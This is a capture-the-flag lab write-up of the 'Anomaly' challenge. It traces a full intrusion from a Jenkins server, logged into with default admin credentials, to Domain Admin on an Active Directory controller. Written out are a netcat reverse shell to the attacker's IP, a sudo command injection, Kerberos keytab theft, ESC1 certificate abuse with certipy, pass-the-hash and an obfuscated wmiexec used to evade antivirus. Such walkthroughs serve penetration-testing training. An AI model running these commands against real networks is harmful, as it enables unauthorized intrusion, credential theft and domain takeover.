Anomaly
Challenge Lab (Medium) - by Ryan Yager
The following post by 0xb0b is licensed under CC BY 4.0
Scenario
Objective and Scope
Objective
The core objective of the Anomaly Penetration Test is to demonstrate the full impact of a successful network intrusion by achieving Domain Administrator privileges over the client's Active Directory environment. The test will simulate a motivated external attacker's progression from an initial foothold to complete administrative control.
Scope
The in-scope assets for this engagement include two critical IP addresses:
A hardened Ubuntu Server (Initial Foothold Target).
The primary Domain Controller (Final Privilege Escalation Target).
It is a critical finding that the Domain Controller is running active Antivirus (AV) software; therefore, this test will specifically involve techniques to bypass or evade the installed AV to successfully compromise the domain and demonstrate the potential for a full domain compromise.
Summary
Recon
We start with a port scan on both available machines. We use Rustscan for this. The results gathered with rustscan are then passed to Nmap, running a service/version detection -sV
, default scripts -sC
.
WEB
On the web machine we have two open ports. Port 22
and port 8080
.
rustscan -a 10.1.162.34 -- -sC -sV

Port 22
runs OpenSSH 9.6p1
Ubuntu, and on Port 8080
we have a Jetty 10.0.20
web server.

DC
We use rustscan -b 500 -a 10.1.132.173 -- -sT -sC -sV -Pn
to enumerate all TCP ports on 10.1.132.173
, piping the discovered results into Nmap which performs a TCP connect scan -sT
, service and version detection -sV,
runs default NSE scripts -sC
, and treats the host as online without ICMP echo -Pn
.
A batch size of 500 trades speed for stability, the default (1500) balances both, while 10000 maximizes speed but risks instability and missed results.
Our RustScan of 10.1.132.173
identifies a Windows domain controller named Anomaly-DC.anomaly.hsm
in the anomaly.hsm
domain, with a certificate authority anomaly-ANOMALY-DC-CA-2
. Exposed services include DNS 53
, HTTP 80
running Microsoft IIS 10.0
, Kerberos 88
and 464
, multiple MSRPC endpoints 135, 593, 49664+
, SMB 139
and 445
, LDAP and LDAPS and Global Catalog endpoints 389, 636, 3268, 3269
tied to Active Directory, RDP 3389
, and .NET Remoting 9389
. This indicates a fully integrated Windows AD environment where LDAP and LDAPS and Kerberos provide authentication, SMB and RPC enable remote management and inter-host communication, and RDP and HTTP serve as remote access points.
rustscan -b 500 -a 10.1.132.173 -- -sT -sC -sV -Pn

Excerpt of the service and default script scan on LDAP:

Excerpt of the service and default script scan on LDAP:

We add the following to our /etc/hosts
file:
Anomaly-DC.anomaly.hsm
anomaly.hsm
anomaly-ANOMALY-DC-CA-2
Web Access
We start by enumerating and attacking the web machine. We visit the page on port 8080
and are redirected to a Jenkins login page.

Before we use Hydra to brute force credentials, we first try manually with default credentials. We are lucky and get access via admin:admin
.
admin:admin
We are logged in as admin:

Shell as jenkins on WEB
Since we are admin
, we can create a new build. We create a new build and use the execute shell option in Build Steps
to execute shell commands to execute a reverse shell:
busybox nc 10.200.11.17 4445 -e bash

To catch the reverse shell we will use Penelope, a reverse shell handler which tries to auto upgrade the catched reverse shell, fixes TTY size and allows us to manage our sessions.
Then we run our previously created build and get a connection back to our Penelope listener. We are the user jenkins
. But no flags yet.
penelope -p 4445

Shell as root on WEB
While enumerating, we look at what we are allowed to execute using sudo
. In this case, /usr/bin/router_config
as root
without the need of a password.
sudo -l

It seems like a custom binary
.

During testing, we see that a command injection is possible, passing commands as a parameter.
sudo /usr/bin/router_config id

To get an interactive shell we run the following:
sudo /usr/bin/router_config 'bash -i'

We have a root
shell and are able to find the first flag at /root/user.txt.

Access as brandon_boyd on DC
The Linux machine appears to be domain joined. We have a krb5.conf
and a krb5.keytab
file in place.
ls -lah /etc/krb5.*

The krb5.conf
file configures Kerberos authentication for the ANOMALY.HSM
realm, specifying Anomaly-DC.anomaly.hsm
as both the KDC and admin server. It also enables DNS-based discovery of realms and KDCs, mapping the domain anomaly.hsm
and its subdomains to the same Kerberos realm.
[libdefaults]
default_realm = ANOMALY.HSM
dns_lookup_realm = true
dns_lookup_kdc = true
[realms]
ANOMALY.HSM = {
kdc = Anomaly-DC.anomaly.hsm
admin_server = Anomaly-DC.anomaly.hsm
}
[domain_realm]
.anomaly.hsm = ANOMALY.HSM
anomaly.hsm = ANOMALY.HSM
Besides the krb5.conf
file we find a keytab file krb5.keytab
.
A keytab is a file that stores one or more Kerberos principals and their encrypted secret keys so a service or script can authenticate to a Kerberos KDC non-interactively. Because it contains credentials, a keytab must be tightly protected restricted permissions and secure storage to prevent unauthorized access or impersonation. But fortunately, we are allowed to read them. Also as jenkins
.
cat /etc/krb5.keytab

With the following command we are able to list the entries in /etc/krb5.keytab
showing each principal, timestamp, and the stored keys in hexadecimal with their key versions. We are able to identifiy the principal BRANDON_BOYD
.
klist -k -t -K /etc/krb5.keytab

The following article shows how to use Keytab files in a red team engagement including extracting the NTLM hash from a keytab file:
We download the keytab file using the Penelope session management for later use on our attacker machine:
F12 # to get into session management
download /etc/krb5.keytab

After downloading the keytab file we try to extract the NTLM hash using the tool suggested in the article mentioned before:
Unfortunately we are not able to extract the NTLM hash of BRANDON_BOYD
. But since we are in possession of the keytab file we can use it to obtain a Kerberos ticket.
./KeyTabExtract/keytabextract.py krb5.keytab

A keytab holds the principal's secret keys so kinit
can obtain a ticket-granting ticket non-interactively. We need to adapt the krb5.conf
so our client knows which Kerberos realm, KDC and lookup rules to use.
We adapt our krb5.conf
on our attacker machine to the one we found on the web machine. We make a backup of our existing one by duplicating it and append .bak
to the duplicate.

With the krb5.conf
set and the /etc/hosts
modified we are now able to issue the following command to use the keytab krb5.keytab
to perform a non-interactive kinit
and obtain a Kerberos Ticket-Granting Ticket (TGT) for the principal Brandon_Boyd@ANOMALY.HSM
.
kinit -kt krb5.keytab Brandon_Boyd@ANOMALY.HSM

Next, we verify that we a have a valid TGT for randon_Boyd@ANOMALY.HSM
using klist
. We see that cache file is stored at /tmp/krb5cc_0
.
klist

We now set the KRB5CCNAME
environment variable to /tmp/krb5cc_0
, telling the current shell and any child processes to use that file as the Kerberos credential cache for Kerberos authentication.
export KRB5CCNAME=/tmp/krb5cc_0

Next, we will test whether we can authenticate as BRANDON_BOYD
using the cache file via Netexec - and we are succsessful.
nxc ldap anomaly.hsm -u brandon_boyd -k --use-kcache

Access as anna_molly on DC
Now that we have a cache file which lets us authenticate via LDAP we try to enumerate the AD using bloodhound-ce. Unfortunately a password is still required.
bloodhound-ce.py --zip -c All -d anomaly.hsm -u brandon_boyd -k -dc Anomaly-DC.anomaly.hsm -ns 10.1.132.173

LDAP Enumeration
Since we cannot use bloodhound for the time being, we will attempt to enumerate LDAP. Since we have already been able to gain access to LDAP using NetExec, we will use NetExec for this purpose. Using --users
, we enumerate the domain users. Fortunately, we find something in the comments that resembles a password.
nxc ldap anomaly.hsm -u brandon_boyd -k --use-kcache --users

BloodHound Enumeration
We try to use that password instead of the cache file for the BloodHound collector, and are successful.
bloodhound-ce.py --zip -c All -d anomaly.hsm -u brandon_boyd -p 'REDACTED' -dc Anomaly-DC.anomaly.hsm -ns 10.1.132.173

We ingest the data into Bloodhound, but cannot find a path to privilege escalation.
We mark the user BRANDON_BOYD
as owned and inspect the memberships of the user. Nothing out of the ordinary here.
But we see that the user is member of the CERTIFICATE SERVICE DCOM ACCESS
group which is a built-in Active Directory security group that controls who can remotely connect to and use the Microsoft Certificate Authority (CA) through DCOM (Distributed COM) - specifically the Certificate Services DCOM interface (the certsrv RPC/DCOM endpoint). We remember that a CA was also configured. So next, we check for misconfigured certificates.

We look for Domain Admins and spot the Administrator
and ANNA_MOLLY
users.

Certipy Enumeration
In addition to using BloodHound to enumerate objects and relationships within Active Directory, there are also tools specifically designed for enumerating certificate-related vulnerabilities. Notable examples include Certipy and SpecterOps' research, which help identify vulnerable certificate templates that can be exploited for privilege escalation.
We use the credentials of BRANDON_BOYD
to enumerate misconfigured templates using certipy
.
certipy find -u brandon_boyd@anomaly.hsm -p 'REDACTED' -dc-ip 10.1.132.173 -vulnerable

We receive a json output with the results. The certificate templates CertAdmin
is misconfigured to allow Domain Computers to enroll and supply arbitrary subject names, enabling ESC1 attacks for impersonation via client authentication.
ESC1 is when a certificate template permits Client Authentication and allows the enrollee to supply an arbitrary Subject Alternative Name (SAN).
For ESC1, we can request a certificate based on the vulnerable certificate template and specify an arbitrary UPN or DNS SAN with the
-upn
and-dns
parameter, respectively.
Results of Certipy:
{
"Certificate Authorities": {
"0": {
"CA Name": "anomaly-ANOMALY-DC-CA-2",
"DNS Name": "Anomaly-DC.anomaly.hsm",
"Certificate Subject": "CN=anomaly-ANOMALY-DC-CA-2, DC=anomaly, DC=hsm",
"Certificate Serial Number": "3F1A258E7CADC7AE4C54650883521D22",
"Certificate Validity Start": "2025-09-21 21:25:39+00:00",
"Certificate Validity End": "2124-09-21 21:35:38+00:00",
"Web Enrollment": "Disabled",
"User Specified SAN": "Disabled",
"Request Disposition": "Issue",
"Enforce Encryption for Requests": "Enabled",
"Permissions": {
"Owner": "ANOMALY.HSM\\Administrators",
"Access Rights": {
"2": [
"ANOMALY.HSM\\Administrators",
"ANOMALY.HSM\\Domain Admins",
"ANOMALY.HSM\\Enterprise Admins"
],
"1": [
"ANOMALY.HSM\\Administrators",
"ANOMALY.HSM\\Domain Admins",
"ANOMALY.HSM\\Enterprise Admins"
],
"512": [
"ANOMALY.HSM\\Authenticated Users"
]
}
}
}
},
"Certificate Templates": {
"0": {
"Template Name": "CertAdmin",
"Display Name": "CertAdmin",
"Certificate Authorities": [
"anomaly-ANOMALY-DC-CA-2"
],
"Enabled": true,
"Client Authentication": true,
"Enrollment Agent": false,
"Any Purpose": false,
"Enrollee Supplies Subject": true,
"Certificate Name Flag": [
"EnrolleeSuppliesSubject"
],
"Enrollment Flag": [
"PublishToDs",
"IncludeSymmetricAlgorithms"
],
"Private Key Flag": [
"ExportableKey"
],
"Extended Key Usage": [
"Client Authentication",
"Secure Email",
"Encrypting File System"
],
"Requires Manager Approval": false,
"Requires Key Archival": false,
"Authorized Signatures Required": 0,
"Validity Period": "99 years",
"Renewal Period": "650430 hours",
"Minimum RSA Key Length": 2048,
"Permissions": {
"Enrollment Permissions": {
"Enrollment Rights": [
"ANOMALY.HSM\\Domain Admins",
"ANOMALY.HSM\\Enterprise Admins"
]
},
"Object Control Permissions": {
"Owner": "ANOMALY.HSM\\Administrator",
"Full Control Principals": [
"ANOMALY.HSM\\Domain Computers"
],
"Write Owner Principals": [
"ANOMALY.HSM\\Domain Admins",
"ANOMALY.HSM\\Enterprise Admins",
"ANOMALY.HSM\\Administrator",
"ANOMALY.HSM\\Domain Computers"
],
"Write Dacl Principals": [
"ANOMALY.HSM\\Domain Admins",
"ANOMALY.HSM\\Enterprise Admins",
"ANOMALY.HSM\\Administrator",
"ANOMALY.HSM\\Domain Computers"
],
"Write Property Principals": [
"ANOMALY.HSM\\Domain Admins",
"ANOMALY.HSM\\Enterprise Admins",
"ANOMALY.HSM\\Administrator",
"ANOMALY.HSM\\Domain Computers"
]
}
},
"[!] Vulnerabilities": {
"ESC1": "'ANOMALY.HSM\\\\Domain Computers' can enroll, enrollee supplies subject and template allows client authentication",
"ESC4": "'ANOMALY.HSM\\\\Domain Computers' has dangerous permissions"
}
}
}
}#
CertAdmin
"ESC1": "'ANOMALY.HSM\\\\Domain Computers' can enroll, enrollee supplies subject and template allows client authentication"
Privilege Escalation ESC1
First we need a computer account. By default, any authenticated domain user can join up to 10 computers to a domain. Since we have the credentials of BRANDON_BOYD
we give it a try. It can be done by different tools. We use certipy for this:
We follow the mentioned resource and try to add a new Computer Account called SomeName$
, it fails due to a bad DNS name.
certipy account create -u brandon_boyd@anomaly.hsm -p 'REDACTED' -dc-ip 10.1.132.173 -user 'SomeName$' -pass 'SomePassword' -dns 'SomeDNS'

We adapt the DNS name to somename.anomaly.hsm
and successfully added a new Computer Account.
certipy account create -u brandon_boyd@anomaly.hsm -p 'REDACTED' -dc-ip 10.1.132.173 -user 'SomeName$' -pass 'SomePassword' -dns 'somename.anomaly.hsm'

Now we are able to request a certificate as SomeName$@anomaly.hsm
.
We requested a certificate for SomeName$@anomaly.hsm
from CA anomaly-ANOMALY-DC-CA-2
using the vulnerable CertAdmin
template, set the UPN to anna_molly@anomaly.hsm
(a Domain Admin identified with BloodHound), and received the issued certificate as a .pfx
.
certipy req -u 'SomeName$@anomaly.hsm' -p 'SomePassword' -dc-ip '10.1.132.173' -target 'ANOMALY.HSM' -ca 'anomaly-ANOMALY-DC-CA-2' -template 'CertAdmin' -upn anna_molly@anomaly.hsm -dns 10.1.132.173

Next, we try to authenticate as ANNA_MOLLY
using the certificate. But it fails due to a SID mismatch. We need the SID for unique identification.
certipy auth -pfx anna_molly_10.pfx -dc-ip 10.1.132.173

We are able to retrieve the SID from our BloodHound data:
S-1-5-21-1496966362-3320961333-4044918980-1105

We rerun the certipy req command with the SID set. We receive a .pfx
file.
certipy req -u 'SomeName$@anomaly.hsm' -p 'SomePassword' -dc-ip '10.1.132.173' -target 'ANOMALY.HSM' -ca 'anomaly-ANOMALY-DC-CA-2' -template 'CertAdmin' -upn anna_molly@anomaly.hsm -sid S-1-5-21-1496966362-3320961333-4044918980-1105 -dns 10.1.132.173
Now we successfully authenticated as ANNA_MOLLY
and receive the NT hash.
certipy auth -pfx anna_molly_10.pfx -dc-ip 10.1.132.173

We test if we can authenticate with the hash using NetExec and we successfully authenticated.
nxc smb anomaly.hsm -u anna_molly -H REDACTED
nxc smb anomaly.hsm -u anna_molly -H REDACTED--shares

Shell as anna_molly on DC
We still need an interactive shell. Unfortunately, port 5389
is not open. Passing the hash via evil-winrm is not possible. We know from the scenario that AV is enabled. We can also see this when we try to establish a session using smbexec, psexec, or wmiexec and it fails.
After a brief search, we come across wmiexec2 by ice-wzl. This seems to be an obfusctedd version of wmiexec to evade signature-based AV detection.
We give it a try and get an interactive shell.
python3 wmiexec2.py ANOMALY.HSM/anna_molly@Anomaly-DC.anomaly.hsm -hashes :REDACTED -no-pass -debug

We find the final flag at C:\Users\Administrator\Desktop
.

Last updated
Was this helpful?